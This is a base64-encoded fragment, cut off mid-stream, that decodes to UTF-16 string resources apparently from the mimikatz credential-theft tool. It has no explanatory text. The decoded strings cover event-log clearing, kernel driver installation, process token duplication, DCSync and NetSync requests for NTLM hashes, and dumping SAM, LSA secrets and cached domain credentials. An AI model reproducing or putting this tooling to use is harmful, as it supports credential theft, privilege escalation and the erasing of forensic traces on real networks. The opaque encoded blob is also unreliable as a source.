QAeQAAAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAEQAZQBsAGUAdABlAAAAAABzAHkAcwBlAG4AdgBkAGUAbAAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAFMAZQB0AAAAcwB5AHMAZQBuAHYAcwBlAHQAAABMAGkAcwB0ACAAbQBpAG4AaQBmAGkAbAB0AGUAcgBzAAAAAABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAcgBlAGcAaQBzAHQAcgB5ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAFIAZQBnAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBJAG0AYQBnAGUAAAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAABMAGkAcwB0ACAAUwBTAEQAVAAAAHMAcwBkAHQAAAAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAABtAG8AZAB1AGwAZQBzAAAAUwBlAHQAIABhAGwAbAAgAHAAcgBpAHYAaQBsAGUAZwBlACAAbwBuACAAcAByAG8AYwBlAHMAcwAAAAAAcAByAG8AYwBlAHMAcwBQAHIAaQB2AGkAbABlAGcAZQAAAAAARAB1AHAAbABpAGMAYQB0AGUAIABwAHIAbwBjAGUAcwBzACAAdABvAGsAZQBuAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0AAAAAABCAFMATwBEACAAIQAAAAAAYgBzAG8AZAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABwAGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAASQBuAHMAdABhAGwAbAAgAGEAbgBkAC8AbwByACAAcwB0AGEAcgB0ACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAKwAAAHIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAcAByAG8AYwBlAHMAcwAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHMAdABvAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHIAZQBtAG8AdgBlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUAByAG8AYwBlAHMAcwAgADoAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABpAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABOAG8AIABQAEkARAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABQAHIAbwB0AGUAYwB0AGUAZAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACAAYgBlAGYAbwByAGUAIABXAGkAbgBkAG8AdwBzACAAVgBpAHMAdABhAAoAAAAAAGYAcgBvAG0AAAAAAHQAbwAAAAAAAAAAAFQAbwBrAGUAbgAgAGYAcgBvAG0AIABwAHIAbwBjAGUAcwBzACAAJQB1ACAAdABvACAAcAByAG8AYwBlAHMAcwAgACUAdQAKAAAAAAAAAAAAIAAqACAAZgByAG8AbQAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAFMAWQBTAFQARQBNACAAdABvAGsAZQBuAAoAAAAAAAAAIAAqACAAdABvACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAYQBsAGwAIAAnAGMAbQBkACcAIABhAG4AZAAgACcAbQBpAG0AaQBrAGEAdAB6ACcAIABwAHIAbwBjAGUAcwBzAAoAAABLAGUAcgBuAGUAbABfAEwAcwBhAF8AUABwAGwAXwBDAG8AbgBmAGkAZwAAAAAAAAB7ADcANwBmAGEAOQBhAGIAZAAtADAAMwA1ADkALQA0AGQAMwAyAC0AYgBkADYAMAAtADIAOABmADQAZQA3ADgAZgA3ADgANABiAH0AAAAAAGcAdQBpAGQAAAAAADEAAABhAHQAdAByAGkAYgB1AHQAZQBzAAAAAAAwADAAMAAwADAAMAAwADAAAAAAAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAAAAAEwAZQBuAGcAdABoACAAIAAgACAAIAA6ACAAJQB1AAoARABhAHQAYQAgACAAIAAgACAAIAAgADoAIAAAAD4AIABPAEsAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHMAeQBzAGUAbgB2AF8AcwBlAHQAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAKQAKAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADQAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAAyADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAVQBTAEUAXwBBAEUAUwBfAEsARQBZAFMAAAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAE4ATwBfAEEAVQBUAEgAXwBEAEEAVABBAF8AUgBFAFEAVQBJAFIARQBEAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABQAEEAUwBTAFcATwBSAEQAXwBFAFgAUABJAFIARQBEAAAAAABEAE8ATgBUAF8AUgBFAFEAVQBJAFIARQBfAFAAUgBFAEEAVQBUAEgAAAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAABUAFIAVQBTAFQARQBEAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAATQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAAAARABPAE4AVABfAEUAWABQAEkAUgBFAF8AUABBAFMAUwBXAEQAAAAAADAAeAA4ADAAMAAwACAAPwAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAABTAEUAUgBWAEUAUgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAMAB4ADQAMAAwACAAPwAAAE4ATwBSAE0AQQBMAF8AQQBDAEMATwBVAE4AVAAAAAAAVABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAAAAAAARQBOAEMAUgBZAFAAVABFAEQAXwBUAEUAWABUAF8AUABBAFMAUwBXAE8AUgBEAF8AQQBMAEwATwBXAEUARAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAEwATwBDAEsATwBVAFQAAABIAE8ATQBFAEQASQBSAF8AUgBFAFEAVQBJAFIARQBEAAAAAAAwAHgANAAgAD8AAABBAEMAQwBPAFUATgBUAEQASQBTAEEAQgBMAEUAAAAAAFMAQwBSAEkAUABUAAAAAABWAEUAUgBTAEkATwBOAAAAQwBMAEUAQQBSACAAIAAAAE4AVAA0AE8AVwBGACAAAABOAE8ATgBFACAAIAAgAAAATgBUAEwATQAtAFMAdAByAG8AbgBnAC0ATgBUAE8AVwBGAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAEsAZQByAGIAZQByAG8AcwAAAAAAVwBEAGkAZwBlAHMAdAAAAEMATABFAEEAUgBUAEUAWABUAAAAUAByAGkAbQBhAHIAeQAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABuAHQAZABsAGwALgBkAGwAbAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEQAYQB0AGEAAAAAAEcAQgBHAAAAUwBrAGUAdwAxAAAASgBEAAAAAABEAGUAZgBhAHUAbAB0AAAAQwB1AHIAcgBlAG4AdAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAGUAbgBkACAAYwB1AHIAcgBlAG4AdAAgAGEAbgBkACAAcAByAGUAdgBpAG8AdQBzACAATgBUAEwATQAgAGgAYQBzAGgAIABvAGYAIABEAEMALwBTAFIAVgAvAFcASwBTAAAAbgBlAHQAcwB5AG4AYwAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAGQAYwBzAHkAbgBjAAAAAAByAHAAZABhAHQAYQAAAAAAYgBhAGMAawB1AHAAawBlAHkAcwAAAAAAAAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFQAcgB1AHMAdAAgAEEAdQB0AGgAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoAG4AbwByAG0AYQBsACAAbwByACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0ALwBBAEQAIABlAG4AdAByAGkAZQBzACAAKABuAG8AcgBtAGEAbAAsACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQAgAG8AcgAgAGkAbgBqAGUAYwB0ACkAAAAAAGwAcwBhAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEEATQAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBhAG0AAABMAHMAYQBEAHUAbQBwACAAbQBvAGQAdQBsAGUAAAAAAGwAcwBhAGQAdQBtAHAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAGsAaQB3AGkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAAAlAHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAUwB5AHMASwBlAHkAIAA6ACAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAATABTAEEAIABLAE8ACgAAAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAFYAAABMAG8AYwBhAGwAIABTAEkARAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAVQBzAGUAcgBzAAAATgBhAG0AZQBzAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFUAcwBlAHIAIAA6ACAAJQAuACoAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlACAASwBPAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEEATQAgAEEAYwBjAG8AdQBuAHQAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAFQATABNAAAAAABMAE0AIAAgAAAAAAAlAHMAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAASwBPAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAABQAG8AbABfAF8ARABtAE4AAAAAAFAAbwBsAF8AXwBEAG0AUwAAAAAAJQBzACAAbgBhAG0AZQAgADoAIAAAAAAAIAAoAAAAAAApAAAAUABvAGwAaQBjAHkAAAAAAEwAbwBjAGEAbAAAAEEAYwAAAAAAUAByAAAAAABQAG8AbABSAGUAdgBpAHMAaQBvAG4AAAAKAFAAbwBsAGkAYwB5ACAAcwB1AGIAcwB5AHMAdABlAG0AIABpAHMAIAA6ACAAJQBoAHUALgAlAGgAdQAKAAAAUABvAGwARQBLAEwAaQBzAHQAAABQAG8AbABTAGUAYwByAGUAdABFAG4AYwByAHkAcAB0AGkAbwBuAEsAZQB5AAAAAABMAFMAQQAgAEsAZ